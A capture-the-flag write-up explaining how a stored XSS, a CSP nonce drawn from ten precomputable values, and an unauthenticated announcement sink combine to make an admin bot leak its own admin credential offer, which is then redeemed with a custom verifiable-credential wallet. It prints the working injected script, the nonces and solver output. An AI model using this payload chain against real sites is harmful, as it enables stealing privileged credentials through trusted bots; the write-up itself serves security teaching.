WebFortID 2026
King Admin
A stored XSS on an admin-only page, a predictable CSP nonce, and a CSRF-exempt announcement sink let me make an admin bot mint and leak its own admin credential offer, which I then redeemed and presented myself.
What this one teaches
- A deny-list sanitizer that strips only
on<event>=handlers still lets a plain<script>tag through; only an allow-list or output escaping actually stops stored XSS. - A CSP nonce is only as strong as its entropy. Hashing a value drawn from a small fixed set of strings makes every possible nonce precomputable offline.
- A cookie-based admin check and row-level filtering do not stop a privileged bot from being tricked into acting for you: a confused deputy with a same-origin write-back sink can leak its own privileged output with no outbound listener.
- A credential offer (the pre-authorized grant that lets a wallet redeem a verifiable credential) is a bearer secret. Whoever redeems it first gets the credential, regardless of who it was minted for.
- OpenID4VCI (issuance) and OpenID4VP (presentation) are open specifications, so a small script built on plain HTTP and ES256 signing is a fully valid holder, not just the official wallet app.
Task description
The treasury opens only for a royal administrator. Use your team’s issuer and verifier URLs and the FortID wallet app for Android or iOS.
The services and the trust boundary
The challenge runs three cooperating services built on FortID, a real verifiable-credentials platform. It implements OpenID for Verifiable Credential Issuance and OpenID for Verifiable Presentations, two open specifications for issuing and presenting signed digital credentials. The three parts are an issuer (“Royal Chancery”) that mints credentials and hosts an admin page, a verifier (“Royal Treasury”) that checks a presented credential and returns the flag, and a bot (“royal attendant”), a headless Chromium instance that holds the only admin session on the issuer.
The verifier returns the flag only to a holder presenting a credential with the claim admin: true, issued by this exact FortID issuer. It pins the issuer’s root CA, so a self-signed credential is rejected:
def authorized(result):
claims = result.get("presentedClaims")
return (result.get("verificationSessionStatus") == "VERIFICATION_SUCCEEDED"
and isinstance(claims, dict)
and claims.get("admin") is True)
The public endpoint on the issuer only ever mints a user badge hardcoded to admin: False. The one endpoint that mints admin: true is POST /api/admin/offer, and it is gated behind a session cookie that only the bot holds:
@app.post("/api/admin/offer")
def offer():
admin() # 403 unless the session cookie is the bot's admin token
csrf_check(cfg["origin"])
claims = {**cfg["claims"], "admin": True}
uri = api.issue(cfg["issuer_id"], cfg["configuration_id"], claims)
return jsonify(offer_uri=uri, qr=qr_data(uri))
So the problem reduces to one move with a long tail: make the bot mint that admin: true offer for me and hand it over, then redeem and present it myself. Getting the bot to do it takes three bugs stacked on one page, and turning the leaked offer into a flag takes a working credential wallet.
The page the bot loads
/admin requires the bot’s session, renders the public announcement unescaped, and sets a Content-Security-Policy:
@app.get("/admin")
def dashboard():
admin()
message = secrets.choice(HINT_MESSAGES)
hint_script = (
"const banner=document.createElement('div');"
f"banner.textContent={json.dumps(message)};"
"banner.style.cssText='position:fixed;top:0;left:0;right:0;"
"padding:12px;background:#ffe08a;color:#111;z-index:9999;"
"text-align:center';document.body.prepend(banner);"
)
nonce = hashlib.sha256(hint_script.encode()).hexdigest()[:6]
response = render_template("admin.html", announcement=announcement,
hint_script=hint_script, csp_nonce=nonce)
response.headers["Content-Security-Policy"] = (
f"default-src 'none'; script-src 'self' 'nonce-{nonce}'; "
"style-src 'self' 'unsafe-inline'; img-src 'self' data:; "
"connect-src 'self' http://host.docker.internal:9000;"
)
return response
<section class="card notice">{{ announcement | safe }}</section>
...
<script nonce="{{ csp_nonce }}">{{ hint_script | safe }}</script>
Three things have to give for an injected script to run here: the announcement has to carry a <script> tag past whatever sanitizes it, that script has to satisfy the CSP so the browser executes it, and it needs a way to send the bot’s privileged output back to me. Each has a gap.
Pivot 1: the announcement sanitizer only strips event handlers
Anyone can POST /announcement with no login and no CSRF token, and the handler stores the value after a single regex pass:
@app.post("/announcement")
def announcement():
value = request.form.get("announcement", "")
if len(value.encode()) > 16000:
abort(400)
value = re.sub(r"\s+on[a-z]+\s*=\s*(?:\"[^\"]*\"|'[^']*'|[^\s>]+)", "",
value, flags=re.IGNORECASE)
state["announcement"] = value
return redirect("/", code=303)
That regex removes on<event>=... attributes, so onclick=, onerror= and the rest are gone. It says nothing about a plain <script> tag, and the template renders the stored value through Jinja’s | safe filter, which skips escaping entirely. A stored <script> survives untouched and runs on every page that renders the announcement, including the one the bot’s admin session is guaranteed to load.
Pivot 2: the CSP nonce has only ten possible values
A nonce-based CSP would normally stop an injected <script>, because only a script carrying the server’s per-response random nonce is allowed to run. The nonce here is not random. It is a SHA-256 of hint_script, and the only variable part of hint_script is one message drawn from a fixed list shipped in the source:
HINT_MESSAGES = [
"Hello, today is a very nice day. Have fun!",
"A careful look at the page source may reveal something useful.",
# ... eight more, all in the handout
]
Ten possible messages means ten possible scripts and ten possible nonces, all computable offline. Hashing each candidate hint_script the way /admin does reproduces every nonce the server can ever pick:
068249 0e61f1 3978f7 3aa91b 3ccee9 713eb8 887a73 971e34 c9ddd6 cf8bd5
If I inject one <script nonce="..."> copy of the payload for each of the ten candidates, then whichever nonce the server chose for that page load matches exactly one copy, and that copy executes. The other nine are ignored by the CSP and do nothing.
Pivot 3: the write sink is unauthenticated and same-origin
The CSP’s connect-src allows 'self', so a script on /admin may call back into the issuer’s own API. The admin-offer endpoint is reachable from inside the page, and /announcement accepts an unauthenticated POST, which is the same sink that planted the payload. That closes the loop: the injected script, running inside the bot’s authenticated page, calls the admin-only endpoint and writes the result straight back into the public announcement, which I then read from the ordinary home page. There is no outbound listener to stand up. The CSP also allow-lists http://host.docker.internal:9000, presumably the author’s intended out-of-band channel, but reflecting through the announcement is simpler and lands the same result.
Pivot 4: the admin gate, and why a minted offer is enough
The admin gate itself is honest. admin() checks that the session cookie carries a token present in state["admin_tokens"], and the only way a token gets there is /internal/bot/login, which requires the shared BOT_SECRET that the issuer uses when it drives its own bot. I never hold an admin cookie. The bot does, and the injected script runs in the bot’s page, so the call to /api/admin/offer rides the bot’s cookie. csrf_check also wants a matching X-CSRF-Token, which the page exposes in its own <meta name="csrf-token">, so the script reads it from there.
That makes the bot a confused deputy: an agent holding privilege I lack, tricked by content it trusted into acting for me. What it hands back is a credential offer, and an offer is a bearer secret. FortID credentials are signed by the issuer and bound to a holder key, so I cannot forge admin: true myself, but a legitimately minted offer carries a pre-authorized code that any holder can redeem. Whoever redeems it first receives the credential it describes, regardless of who the issuer meant it for.
The injected payload
The stored announcement is ten copies of this one script, each tagged with one of the ten candidate nonces:
<script nonce="068249">fetch('/api/admin/offer',{method:'POST',
headers:{'X-CSRF-Token':document.querySelector('meta[name=csrf-token]').content}})
.then(r=>r.json()).then(d=>fetch('/announcement',{method:'POST',
headers:{'Content-Type':'application/x-www-form-urlencoded'},
body:'announcement='+encodeURIComponent('OFFER_LEAK::'+d.offer_uri)}));</script>
It reads the CSRF token off the page’s own meta tag, posts to /api/admin/offer with the bot’s cookie and that token, and reflects the returned offer_uri back into the announcement behind an OFFER_LEAK:: marker. Planting it, summoning the bot, then polling the home page for the marker:
[*] planting XSS announcement ...
/announcement -> 200
[*] summoning the royal attendant (bot)
/api/bot/run -> 202 {"status":"STARTING"}
[+] ADMIN CREDENTIAL OFFER (admin:true) LEAKED:
openid-credential-offer://?credential_offer_uri=https%3A%2F%2F...%2Fcredential-offer%2F...
Redeeming the offer as a minimal wallet
The intended path is scanning the offer’s QR code with the FortID phone app. I wrote a small standalone holder instead, using the standard library plus cryptography for ES256 (P-256) signing, following the OpenID4VCI pre-authorized-code flow:
- Fetch the offer object for its
pre-authorized_codeandcredential_issuer. - Fetch the issuer and authorization-server metadata for the token and credential endpoints.
- Exchange the pre-authorized code at the token endpoint for an access token and a
c_nonce. - Build a key-proof JWT (
typ: openid4vci-proof+jwt, my public JWK in the header,audthe issuer,noncethec_nonce), signed ES256. - Present that proof to the credential endpoint, which returns an SD-JWT verifiable credential (a signed, selectively disclosable credential) bound to my key.
Redeeming the admin offer yields a credential whose claims are exactly what the issuer configures for this challenge, the two default profile fields plus the forced admin flag:
credential claims: {'first_name': 'John', 'admin': True, 'last_name': 'Doe'}
(The first_name/last_name defaults are the configured extra claims; admin is overwritten to true server-side by the offer endpoint.)
Presenting it to the verifier
The verifier’s OpenID4VP login uses a DCQL query, a declarative way to ask a wallet for a specific credential type and claims, requesting the badge’s admin claim with an encrypted response. Presenting it means a short protocol dance:
- Start
/api/loginon the verifier, fetch the signed request object, and read itsnonce,client_id,response_uri,response_modeand the verifier’s ephemeral encryption JWK. - Build the SD-JWT presentation: the issuer-signed JWT, the
admindisclosure, and a key-binding JWT (typ: kb+jwt,audthe client, thenonce, and ansd_hashover the presentation) signed with my holder key. - Wrap it as the DCQL
vp_token, keyed by the query id. - Encrypt the whole response as a compact JWE (ECDH-ES direct agreement with A256GCM) to the verifier’s key, and POST it to the
response_uri. - Poll
/api/login/status.
I first ran the same flow with an ordinary user badge (admin: false) as a control. The verifier accepted the encrypted presentation and answered DENIED, which confirmed the JWE, the key-binding JWT and the DCQL handling were all correct before I tried the admin credential. Presenting the admin credential:
[*] POSTing presentation to verifier response endpoint
response_uri -> 200 {"redirect_uri":null}
[*] polling verifier status
status=AUTHORIZED
[+] FLAG: FortID{...}
Verification
The static half of this chain checks out against the source. The announcement handler has no CSRF check, which I confirmed in issuer.py; the admin-offer endpoint and the admin() cookie gate read as described; and authorized() in verifier.py matches what the flag needs. The nonce claim is the sharpest to pin down, and it holds exactly: recomputing the ten candidate nonces the way /admin builds them produces the set {068249, 0e61f1, 3978f7, 3aa91b, 3ccee9, 713eb8, 887a73, 971e34, c9ddd6, cf8bd5}, which is precisely the ten nonces baked into the solver’s precomputed payload, in a different order. The credential claims match the issuer’s configured defaults plus the forced admin: true.
The live chain needs a running issuer, verifier and bot. The flag in the frontmatter is the one from a completed live run ending in AUTHORIZED, not the handout’s placeholder flag.txt.
The flagReveal
FortID{4DM1N_15_F0RT1D_C0MPL14NT_BUT_5T1LL_U535_QR_C0D35_T0_L0G1N_2d85d0983c}This CTF was possibly solved, and the writeup most likely written by an LLM. Apologies for inconsistencies.